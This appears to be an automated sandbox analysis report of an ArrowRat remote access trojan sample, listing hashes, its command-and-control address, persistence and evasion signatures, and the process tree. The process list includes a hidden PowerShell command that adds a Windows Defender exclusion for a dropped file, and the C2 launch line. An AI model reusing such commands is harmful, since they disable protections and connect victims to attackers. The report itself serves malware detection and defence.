Overview

overview

10

Static

static

10

PandoraClient.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    297s
  • max time network
    300s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2023 15:29

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General

  • Target

    PandoraClient.exe

  • Size

    158KB

  • MD5

    b35a8f2e642d254ad7bcbbc1940e2636

  • SHA1

    6d665d7a99778ed39b0c00d260a511c60b952bc8

  • SHA256

    1d67d84f26844c5482f8fc9ca6058ad5f4163b7f8707c41f550f2f00343c685a

  • SHA512

    14b16590238f33a2230b01e1ae06b47555f857fd5c960241178a61204a156c209c31feadb66585d5bdab67f451461a8421b33c83ba19d2298a94460d394968fb

  • SSDEEP

    3072:hbzhL+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPEfO8Y:hbzhC0ODhTEPgnjuIJzo+PPcfPEW8

Score
10/10
arrowratclientpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

soon-lp.at.ply.gg:17209

Mutex

lPkPZDtPb

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of FindShellTrayWindow 48 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PandoraClient.exe
    "C:\Users\Admin\AppData\Local\Temp\PandoraClient.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4596
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5016
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client soon-lp.at.ply.gg 17209 lPkPZDtPb
      2⤵
        PID:4956
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1908
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\jUvbPiodF\LBXppipmG.exe'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5084
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4296
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3832

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Winlogon Helper DLL

    1
    T1004

    Registry Run Keys / Startup Folder

    1
    T1060

    Privilege Escalation

    Defense Evasion

    Modify Registry

    2
    T1112

    Credential Access

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    4
    T1082

    Peripheral Device Discovery

    2
    T1120

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133244118129509971.txt
      Filesize

      75KB

      MD5

      e3417e64fd17fa01c90cf956829ca7ff

      SHA1

      f8960ede60ed71f3ca9f505556390518621393f6

      SHA256

      a55bc5d91308f7bb7cef9268f6333172653c4119c8641abcb0692116fecd860c

      SHA512

      3126805740cdea1d97c1887c0e0e33094b5e187d218f0b8b26c5305ed6aa1737d88a9434e3cfcec9bf1009c9a4fe53e441312e8c24171e08fad2eed0d08cf4a9

      Download Submit
    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ugryu0mu.223.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit
    • C:\Users\Admin\AppData\Roaming\temp0923
      Filesize

      10B

      MD5

      6561b0c3157885acd15d7e1a4ee4fcde

      SHA1

      c084e993bec86eb772248abec64e1bda72caf80b

      SHA256

      b2f0a39dfb419410c375d5fadf9dd682ca1a84248d95f8770084c2d1fa3ed654

      SHA512

      99d078c6fc8c6ffac8608dc5d54cb0b60e3a11e41656e2b3cfc7d0c540226dd9154ee157813e37781dfcadaf1316f1b9e97a6a2cddd6da571b593e67007bce46

      Download Submit
    • memory/3832-181-0x0000020471290000-0x00000204712B0000-memory.dmp
      Filesize

      128KB

      Download
    • memory/3832-177-0x0000020470E80000-0x0000020470EA0000-memory.dmp
      Filesize

      128KB

      Download
    • memory/3832-174-0x0000020470EC0000-0x0000020470EE0000-memory.dmp
      Filesize

      128KB

      Download
    • memory/4596-133-0x0000020FCA9D0000-0x0000020FCA9FE000-memory.dmp
      Filesize

      184KB

      Download
    • memory/4956-155-0x0000000006060000-0x00000000060C6000-memory.dmp
      Filesize

      408KB

      Download
    • memory/4956-137-0x0000000005940000-0x00000000059DC000-memory.dmp
      Filesize

      624KB

      Download
    • memory/4956-154-0x00000000060E0000-0x0000000006684000-memory.dmp
      Filesize

      5.6MB

      Download
    • memory/4956-134-0x0000000000400000-0x0000000000418000-memory.dmp
      Filesize

      96KB

      Download
    • memory/4956-158-0x0000000006920000-0x0000000006970000-memory.dmp
      Filesize

      320KB

      Download
    • memory/4956-300-0x0000000005850000-0x0000000005860000-memory.dmp
      Filesize

      64KB

      Download
    • memory/4956-136-0x00000000058A0000-0x0000000005932000-memory.dmp
      Filesize

      584KB

      Download
    • memory/4956-153-0x0000000005850000-0x0000000005860000-memory.dmp
      Filesize

      64KB

      Download
    • memory/5016-167-0x0000000002CC0000-0x0000000002CC1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/5084-146-0x00000224A30C0000-0x00000224A30D0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/5084-147-0x00000224BDFC0000-0x00000224BDFE2000-memory.dmp
      Filesize

      136KB

      Download
    • memory/5084-162-0x00000224A30C0000-0x00000224A30D0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/5084-161-0x00000224A30C0000-0x00000224A30D0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/5084-152-0x00000224A30C0000-0x00000224A30D0000-memory.dmp
      Filesize

      64KB

      Download